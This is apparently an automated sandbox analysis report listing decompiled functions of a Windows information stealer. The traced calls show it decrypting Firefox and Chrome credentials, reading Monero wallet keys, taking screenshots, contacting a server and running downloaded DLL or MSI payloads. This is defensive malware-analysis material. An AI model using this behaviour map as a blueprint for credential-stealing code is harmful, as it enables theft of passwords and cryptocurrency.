Instruction Fuzzy Hash: 78126171910118AADB15EB90DCA2FEEB33ABF14300F54419AB50673191EF742F49EF6A

Function 00FCC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00FCC9A5

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,007BD530,00000000,?,00FE144C,00000000,?,?), ref: 00FCCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00FCCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00FCCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FCCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00FCCAD9
StrStrA.SHLWAPI(?,007BD548,00FE0B52), ref: 00FCCAF7
StrStrA.SHLWAPI(00000000,007BD560), ref: 00FCCB1E
StrStrA.SHLWAPI(?,007BDD20,00000000,?,00FE1458,00000000,?,00000000,00000000,?,007B9168,00000000,?,00FE1454,00000000,?), ref: 00FCCCA2
StrStrA.SHLWAPI(00000000,007BDC20), ref: 00FCCCB9

Part of subcall function 00FCC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FCC871
Part of subcall function 00FCC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FCC87C
Part of subcall function 00FCC820: PK11_GetInternalKeySlot.NSS3 ref: 00FCC88A
Part of subcall function 00FCC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00FCC8A5
Part of subcall function 00FCC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00FCC8EB
Part of subcall function 00FCC820: PK11_FreeSlot.NSS3(?), ref: 00FCC961

StrStrA.SHLWAPI(?,007BDC20,00000000,?,00FE145C,00000000,?,00000000,007B91C8), ref: 00FCCD5A
StrStrA.SHLWAPI(00000000,007B9028), ref: 00FCCD71

Part of subcall function 00FCC820: lstrcat.KERNEL32(?,00FE0B46), ref: 00FCC943
Part of subcall function 00FCC820: lstrcat.KERNEL32(?,00FE0B47), ref: 00FCC957
Part of subcall function 00FCC820: lstrcat.KERNEL32(?,00FE0B4E), ref: 00FCC978

lstrlen.KERNEL32(00000000), ref: 00FCCE44
CloseHandle.KERNEL32(00000000), ref: 00FCCE9C
NSS_Shutdown.NSS3 ref: 00FCCEAA

Strings

, xrefs: 00FCC9C6

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 0b26d9530b5351255f1e6a197481b240c0bbd8f979f2f49f7fd8e89b63efcfa5
Instruction ID: 6ec0a47f73a2567e1f8527866d3fa64bb53062f0aa2e27c2c43e5302a9604c5d
Opcode Fuzzy Hash: 0b26d9530b5351255f1e6a197481b240c0bbd8f979f2f49f7fd8e89b63efcfa5
Instruction Fuzzy Hash: 28E14471C00148ABDB15EBA0DC95FEEB779AF14300F44415AF50673292EF386A46EF6A

Function 00FD4280 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FD42EC
lstrcat.KERNEL32(?,007BE338), ref: 00FD430B
lstrcat.KERNEL32(?,?), ref: 00FD431F
lstrcat.KERNEL32(?,007BD458), ref: 00FD4333

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FD8D90: GetFileAttributesA.KERNEL32(00000000,?,00FC1B54,?,?,00FE564C,?,?,00FE0E1F), ref: 00FD8D9F

Part of subcall function 00FC9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FC9D39

Part of subcall function 00FC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FC99EC
Part of subcall function 00FC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FC9A11
Part of subcall function 00FC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FC9A31
Part of subcall function 00FC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FC148F,00000000), ref: 00FC9A5A
Part of subcall function 00FC99C0: LocalFree.KERNEL32(00FC148F), ref: 00FC9A90
Part of subcall function 00FC99C0: CloseHandle.KERNEL32(000000FF), ref: 00FC9A9A

Part of subcall function 00FD93C0: GlobalAlloc.KERNEL32(00000000,00FD43DD,00FD43DD), ref: 00FD93D3

StrStrA.SHLWAPI(?,007BE350), ref: 00FD43F3
GlobalFree.KERNEL32(?), ref: 00FD4512

Part of subcall function 00FC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FC4EEE,00000000,00000000), ref: 00FC9AEF
Part of subcall function 00FC9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FC4EEE,00000000,?), ref: 00FC9B01
Part of subcall function 00FC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FC4EEE,00000000,00000000), ref: 00FC9B2A
Part of subcall function 00FC9AC0: LocalFree.KERNEL32(?,?,?,?,00FC4EEE,00000000,?), ref: 00FC9B3F

lstrcat.KERNEL32(?,00000000), ref: 00FD44A3
StrCmpCA.SHLWAPI(?,00FE08D1), ref: 00FD44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00FD44D2
lstrcat.KERNEL32(00000000,?), ref: 00FD44E5
lstrcat.KERNEL32(00000000,00FE0FB8), ref: 00FD44F4

Strings

8{, xrefs: 00FD42FD
P{, xrefs: 00FD43E6

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: 8{$P{
API String ID: 3541710228-2030705995
Opcode ID: 929728e5008aa1836dfeaaa9232f7717aa8395c0518b21ba47229a0451c25a5a
Instruction ID: eae9886473c73a42a3e15ac450403d9d0ba73f927d60e5f7e1c1b82ab18b1c22
Opcode Fuzzy Hash: 929728e5008aa1836dfeaaa9232f7717aa8395c0518b21ba47229a0451c25a5a
Instruction Fuzzy Hash: 417166B6D00208ABCB14EBA0EC9AFEE7379BB48300F044599F60597185EB75EB45DF91

Function 00FD2E30 Relevance: 21.5, APIs: 3, Strings: 9, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

ShellExecuteEx.SHELL32(0000003C), ref: 00FD31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00FD335D
ShellExecuteEx.SHELL32(0000003C), ref: 00FD34EA

Strings

<, xrefs: 00FD3490
"" , xrefs: 00FD309A
C:\Windows\system32\msiexec.exe, xrefs: 00FD34BF
C:\Windows\system32\rundll32.exe, xrefs: 00FD3332
/i ", xrefs: 00FD33E4
.dll, xrefs: 00FD31E5
.msi, xrefs: 00FD3398
{, xrefs: 00FD3070
/passive, xrefs: 00FD345B

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe${
API String ID: 2507796910-706911287
Opcode ID: c665e6e29ef9ed5a0576761fbf31f16b40856fe7a24672be6258420e3ce64a9c
Instruction ID: fee935d1027118c4a42e228db66b0d519200aeb1bf9cf562d1dc072fb2a283c2
Opcode Fuzzy Hash: c665e6e29ef9ed5a0576761fbf31f16b40856fe7a24672be6258420e3ce64a9c
Instruction Fuzzy Hash: 0A1254718001489ADB15FBA0DC92FDDB739AF14300F48415AF50676291EF786B4AFF9A

Function 00FD12D0 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 310COMMON

Download Yara Rule

Strings

({, xrefs: 00FD1518

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: ({
API String ID: 2001356338-3778085850
Opcode ID: e921433c17c693cbf389d3ed311ecf193c5ac28f00f2a4baf7c23b3947b75ae7
Instruction ID: 9e40d0d463629ae30979b90f0bdc9d234a15c770851ecffc280f3beee03208c4
Opcode Fuzzy Hash: e921433c17c693cbf389d3ed311ecf193c5ac28f00f2a4baf7c23b3947b75ae7
Instruction Fuzzy Hash: AFC1C8B590021C9BCB14EF60DC89FEA737ABB54304F044599F50A67382EB74EA85EF91

Function 00FD9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00FD906C

Strings

image/jpeg, xrefs: 00FD9136

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 2a9202b2ba81bde866b604bf92760f1a9771a5e19302db1bde88325d2a324356
Instruction ID: ad053784311f09ed280038502a0ee16ad6ce6a880d4b62a022e5f55ea38c3f63
Opcode Fuzzy Hash: 2a9202b2ba81bde866b604bf92760f1a9771a5e19302db1bde88325d2a324356
Instruction Fuzzy Hash: 9E711E75900208ABCB14EFE4ED89FEEB7B9BF48300F548608F516A7285DB74A905DB60

Function 00FD17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00FD17C5
ExitProcess.KERNEL32 ref: 00FD17D1

Strings

block, xrefs: 00FD17B7

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 821861b9817abc977d48d718e1f2636f005cf8203b3309e4cec8a8457553504c
Instruction ID: d8df73e4e54c2108d2d3cab1c6ca60bde7cefb09af00f9441438a06392c43299
Opcode Fuzzy Hash: 821861b9817abc977d48d718e1f2636f005cf8203b3309e4cec8a8457553504c
Instruction Fuzzy Hash: B55192B5A00209FFCB14DFA1D968BBE77B6BF44304F18814AE40667341DB74EA51EB62

Function 00FD52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FC6280: InternetOpenA.WININET(00FE0DFE,00000001,00000000,00000000,00000000), ref: 00FC62E1
Part of subcall function 00FC6280: StrCmpCA.SHLWAPI(?,007BE838), ref: 00FC6303
Part of subcall function 00FC6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FC6335
Part of subcall function 00FC6280: HttpOpenRequestA.WININET(00000000,GET,?,007BE200,00000000,00000000,00400100,00000000), ref: 00FC6385
Part of subcall function 00FC6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FC63BF
Part of subcall function 00FC6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FC63D1

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FD5318
lstrlen.KERNEL32(00000000), ref: 00FD532F

Part of subcall function 00FD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FD8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00FD5364
lstrlen.KERNEL32(00000000), ref: 00FD5383
lstrlen.KERNEL32(00000000), ref: 00FD53AE

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Strings

ERROR, xrefs: 00FD5432
ERROR, xrefs: 00FD54A9
ERROR, xrefs: 00FD546F
ERROR, xrefs: 00FD53B9
ERROR, xrefs: 00FD530A

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
